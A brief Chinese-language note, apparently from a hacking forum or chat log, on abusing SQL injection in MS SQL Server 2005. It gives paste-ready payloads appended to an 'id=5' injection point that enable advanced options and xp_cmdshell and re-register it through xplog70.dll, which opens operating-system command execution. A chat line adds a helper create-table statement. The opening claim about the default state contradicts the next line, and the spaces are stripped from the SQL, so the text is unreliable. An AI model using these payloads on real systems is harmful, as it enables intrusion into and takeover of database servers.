MSSQLSERVER2005默认把xpcmdshell给ON了
如果要启用的话就必须把他加到高级用户模式
可以直接在注入点那里直接注入
id=5;EXECsp_configure'showadvancedoptions',1;RECONFIGURE;EXECsp_configure'xp_cmdshell',1;RECONFIGURE;--
然后;dbccaddextendedproc("xp_cmdshell","xplog70.dll");--
或者
sp_addextendedprocxp_cmdshell,@dllname='xplog70.dll'
来恢复cmdshell。

分析器
EXECsp_configure'showadvancedoptions',1;RECONFIGURE;EXECsp_configure'xp_cmdshell',1;RECONFIGURE;--
然后;dbccaddextendedproc("xp_cmdshell","xplog70.dll")

老猪猪(2396644xx)15:42:42
createtable[xl]([xl1][varchar](255)null,[xl2][varchar]null)就行了